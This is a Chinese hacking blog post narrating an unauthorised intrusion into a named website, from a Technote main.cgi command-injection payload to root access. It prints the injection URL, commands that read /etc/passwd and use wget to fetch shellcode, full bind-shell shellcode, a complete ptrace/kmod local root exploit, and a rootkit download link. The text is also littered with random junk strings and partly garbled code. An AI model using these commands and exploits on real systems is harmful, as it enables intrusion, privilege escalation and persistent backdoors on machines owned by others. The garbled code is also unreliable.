从web漏洞到系统root权限过程全展现

韩冰

作者：cnbird

大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒，

' G5 c V& Q. z6 [

所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

最近在家研究perl和UNIX服务器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点

转转吧，来到了www.nsfocus.net看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意，大致看了看，

. M; K' G7 l7 b8 u5 T

知道了这是一个可以远程执行命令的漏洞，下面把漏洞的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。

9 Y& Q, @3 j1 ]& {+ B

Technote的'main.cgi'没有充分过滤用户提交输入，远程攻击者可以利用这

! K: z0 }# Y) [% [" Z5 s

个漏洞以WEB进程权限在系统上执行任意命令。

3 V6 s0 V4 \' q. {+ |) E0 e+ A; c3 @

由于不正确过滤'filename'参数，攻击者提交包含"|command"的数据作为参

数内容，可能以WEB进程权限在系统上执行任意命令。

1 N, v1 ?8 v" |" b5 B+ p k5 W

给出利用方法

* H0 k9 j) |' \, z# d; v. |9 O( ]/ O

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

看了看利用方法觉得很简单，所以打算自己写一个perl的漏洞利用程序，

" t5 }# X' O H

看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己

修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个漏洞成功率还是

很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.

^_^.

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单，其实融合我多年

的经验（其实就1-2年）,首先要测试这个漏洞，先要找这样的论坛，

2 g) O- T5 O" a: E! `- [

google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看，然后就开始吧，

按照绿盟给出的公告测试一下，输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

3 V5 f$ c1 q1 p: t) L5 N' v" v9 T2 P

结果如图1

3 y* I, z* K7 j& J

大家看到结果了

( H9 p1 a9 t; W9 Q

uid=99(nobody) gid=99(nobody) groups=99(nobody) + C: c% m+ l% ~* b- n+ U. b下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了， 3 Y: P$ o2 P5 @ H" B y. M我程序的工作 界面。如图2

# N B6 I$ t k" d% q* l

依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差

不多，

如图3

7 r" M# y; x; m, |9 B6 a

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，

& L7 }9 ^7 i2 h! U& M8 h5 A: k

其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑密码，然后执行[www.sealia.com]$ cat /etc/passwd

# }8 _/ }& B" M4 O

不错，能拿到/etc/passwd。

如图4

呵呵已经得到/etc/passwd了，我们用流光去跑密码吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。

( {$ _- o' P `0 J& I

去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊

, e6 M! k! d6 C. z+ i

如图5

- b5 K- Q% E2 E. q2 H, n' Y

# u3 ?3 I' _. c9 `$ j

呵呵见笑了，真没想到他们给的答案还很全面，^_^连什么程序都给出了，老外就是实在...呵呵...

. ~, A3 T- |0 V' \) X1 [! X* k

This one works fine

2 w' J; o4 E6 X( k# I

http://rst.void.ru/download/r57phpbb2010.txt

# k7 U* s4 l4 M$ H5 u. H

upload, someth like this

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

" b" y# e2 Y+ E$ k! Q- n* }exec on victim hots same shit

: R# H. K* |8 |

and binding shell

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

$ i+ t5 G7 o6 i+ _

回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看，

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

8 M- @) L% S h7 A3 _, x* u$ ]7 h8 O

This would be ideal for a system which you didn't have a direct login shell upon.

$ g6 R4 K0 u" N" ~! A7 p

从描述上来看是linux的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

6 k$ Q3 l/ P2 z9 \ F

给出代码

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 * - by bighawk (bighawk@warfare.com) : p- z: K2 v2 o8 x: \3 v1 ] * * This shellcode binds a shell on port 20000 * [1 W" q+ \2 d * stdin, stdout and stderr are dupped. accept() arguments are sane. */

char code[] =

"\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx " [5 n3 i# m+ z" p' [ "\x53" // push ebx ' o: l1 W# p! f* G; m7 _" q "\x43" // inc ebx 5 ?+ P/ d1 l+ H/ [. c" R9 g3 d "\x53" // push ebx " o7 q; U' M9 J- @% U) Y3 [: e4 C( ~( W "\x89\xe1" // mov ecx, esp 4 I- D+ N: z& J( _ "\x4b" // dec ebx * x# N5 o+ ~4 I" I# H. v& C "\xcd\x80" // int 80h ' t7 e' c- R8 B9 ?" G9 o' l% X$ } "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx "\x66\x53" // push bx ~4 \. c/ O$ b0 P2 \ "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 {3 C; [- i, b, R* V( K" T- q "\xf6\xd0" // not al "\x50" // push eax 9 j# }3 y8 Q( d& i M "\x51" // push ecx . m5 u9 g1 f& p+ A* d* w. _4 U "\x57" // push edi "\x89\xe1" // mov ecx, esp . f3 c) e2 Y( h% N "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h # l! x3 H! [7 G5 y& ? "\xb0\x66" // mov al, 102 ' N/ @3 n8 z: a# R0 a3 o "\x43" // inc ebx "\x43" // inc ebx "\xcd\x80" // int 80h : o4 C5 J9 B' Q5 o0 M0 d "\x50" // push eax "\x50" // push eax 7 m& I1 @; M" P# | "\x57" // push edi 1 p2 ?; M! {, B- ~/ B. z. t6 X "\x89\xe1" // mov ecx, esp : w, w# w1 a. Z "\x43" // inc ebx "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx 8 P }; |% j1 C5 U( ~ "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 ; H+ g/ e7 [. T "\x49" // dec ecx "\xcd\x80" // int 80h / [& u0 j, X, u2 |& ] "\x41" // inc ecx + c0 Z+ y$ x( H) Q/ x9 {) |8 U7 w "\xe2\xf8" // loop lp "\x51" // push ecx * D9 J3 R& x* A' O4 ` "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh / {9 y/ j( T% F2 `8 Y. n% c "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh ) R7 T9 C! F& a, P9 o- ?3 w2 n3 e "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 " Z' d% t( t' U' `' X' C+ P) b "\xf6\xd0" // not al "\xcd\x80"; // int 80h

main() { void (*a)() = (void *)code; $ F9 ^3 Z7 F9 i! M int i; + z$ f* U- d# y; f5 H& T- x3 b printf("size: %d bytes\n", strlen(code)); printf("Testing for cntrl characters.. "); for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); % Y j' d3 M/ i% v; ] printf("PASSED\n"); , r4 o) h) m# C) l, e5 m) ]! G a(); } 好了我们已经知道该下载地址

韩冰

http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了， 2 D6 t1 M2 q( f就可以用wget这个命令来下载了，输入 , |7 l; x. _' s; B8 y* |+ E8 qwget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思 3 v" P; T0 w+ v就是下载这个shell.c到/tmp目录下，如图6

然后ls /tmp得到下面的结果，[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 4 |6 V: M: Q+ y; `5 ~1 _2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs 2 F) m) ~& R6 ~ n这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天 , v% [; S9 T- d( P8 y: a9 z5 Z& B在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 0 ], y. }5 i! ^1 b7 P( C! Y[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain $ g4 u3 j }& Q" d5 e12gcc: /usr/bin/gcc ' V4 J# b1 M( }& z# f @1 h好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind ; J3 r$ k" W1 K编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧， ( O y4 I9 y6 ?1 {: n9 |9 c/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我 7 C; [+ g8 c5 ?5 g们知道他开了20000端口，我们telnet 上去吧，telnet www.sealia.com 20000 哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" 0 Y8 b$ D; |! J* J% @: h- g呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因， 2 q! D! S2 |/ X; @/ [ l* z2 X. A/ r) eNote: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000 8 @0 ~, N) [; t. d! ~; H, U(nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个linux的操作系统，但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的漏洞利用程序，一个是Linux Kernel do_mremap VMA本地权限提升漏洞（漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* * Linux kernel ptrace/kmod local root exploit * * This code exploits a race condition in kernel/kmod.c, which creates 6 Q/ c1 B7 ~9 l% u* kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. * * Should work under all current 2.2.x and 2.4.x kernels. ' ?" w. L! h$ W* @1 X" t% u* % F: C; ^ a+ o s& f: }* I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others. " \& d! Z4 e. w* }: j* ; o# n; E- ?6 J, o6 v1 E6 v* Wojciech Purczynski <cliph@isec.pl> 3 _9 F( D# V+ K& u7 ^ |* 9 U) p" {* v& @* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* - n+ j' M- P2 g2 m* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY 2 W6 u4 X5 l& M8 n4 P) P. R* O0 h, C$ E$ E5 q* ^* A/ S8 {* (c) 2003 Copyright by iSEC Security Research 3 ^$ O- N3 k; D+ E& [- I*/

#include #include #include . k' k3 t6 c9 C' U4 e6 d#include #include #include #include 1 ^, d5 c+ K2 [& u" M#include #include ) }5 ^1 S( T# D H4 `#include #include #include #include #include #include ; @( x/ t( k$ C% z) k g$ _#include

char cliphcode[] = . _ C8 t# z, y- O"\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" ' T1 W4 J/ G$ N8 y"\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; pid_t child = 1; # S% v( F- l8 t1 H) i; u0 c4 ]; qpid_t victim = 1; % y& z9 u& u. w7 F- m/ yvolatile int gotchild = 0;

void fatal(char * msg) " z; A; ~; M n- M6 j1 J4 \* G{ perror(msg); kill(parent, SIGKILL); ' ^8 C0 |) s3 x+ r* }" ]& Ekill(child, SIGKILL); 3 M5 J `# X! A. V& K0 akill(victim, SIGKILL); 2 |8 o& {3 X: H* A1 y; ]/ F; i}

void putcode(unsigned long * dst) 0 g0 i2 G M1 E9 r5 R/ w! X{ char buf[MAXPATHLEN + CODE_SIZE]; . k8 j) F5 \: j2 c1 a; |8 lunsigned long * src; ! L) t, p! r; p6 m/ tint i, len;

memcpy(buf, cliphcode, CODE_SIZE); 4 d- U; O( z0 |" Wlen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1; . a1 G# }7 @" {buf[len] = '\0';

src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) $ h5 W5 I9 `( ofatal("[-] Unable to write shellcode"); ) d6 {+ A: Y" N- b) O! X6 p4 ]* ~}

void sigchld(int signo) { " Y: X2 }) x: L9 tstruct user_regs_struct regs;

if (gotchild++ == 0) return;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) " ^3 \9 {; n6 q4 Q# _fatal("[-] Unable to detach from victim");

exit(0); }

void sigalrm(int signo) 7 c5 `9 @- b6 Q$ |- A{ {9 r- p' i" a: Zerrno = ECANCELED; fatal("[-] Fatal error"); }

void do_child(void) { int err;

child = getpid(); victim = child + 1;

signal(SIGCHLD, sigchld);

do err = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH);

if (err == -1) 9 q- f' K2 d! |% U9 _fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); ) R) u! n) M5 N7 v2 Y: k- Ywhile (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) 1 y, t6 W& C( n: s1 Jfatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n");

for(;;); " X! l. I! F9 H/ ~* e}

void do_parent(char * progname) { + p1 v- Q1 N( ?9 J! S( lstruct stat st; 3 o# _3 v, |* Z/ C& p1 W( cint err; errno = 0; socket(AF_SECURITY, SOCK_STREAM, 1); " n" ]$ H$ M& {" L1 p. H/ o; Ndo { . j$ @! u# i, V0 s* }- L/ v; Rerr = stat(progname, &st); 5 }7 o8 r* F. P! A8 z R- f+ u} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1) fatal("[-] Unable to stat myself");

alarm(0); 5 e# K' G1 @0 ~4 Y i% Q) e _. ?system(progname); }

void prepare(void) 9 o. g9 v, w: U8 p{ if (geteuid() == 0) { . Q2 E0 K H9 c& s2 @initgroups("root", 0); ! `( }0 b$ l/ p* T/ e& E# D7 W: nsetgid(0); setuid(0); : s9 w0 V) y1 u/ q* o. u* eexecl(_PATH_BSHELL, _PATH_BSHELL, NULL); u5 C5 N' J$ J5 g8 f, ?# efatal("[-] Unable to spawn shell"); * Y+ d7 _9 l4 ^- a- h1 l} . U' z" x$ ~4 X- ?! ]' }8 I ?}

int main(int argc, char ** argv) ; N% X* `9 E' H) d* Y+ ?* k{ prepare(); signal(SIGALRM, sigalrm); 4 q: R! ^$ N: U. ialarm(10);

parent = getpid(); child = fork(); victim = child + 1;

if (child == -1) fatal("[-] Unable to fork");

if (child == 0) 5 l6 U8 Y' V4 x' gdo_child(); 2 S% [1 y! J2 ~; M1 {5 R# Telse + {9 r; \+ N0 L" a/ Mdo_parent(argv[0]);

return 0; }CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞，这一点点的小漏洞就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.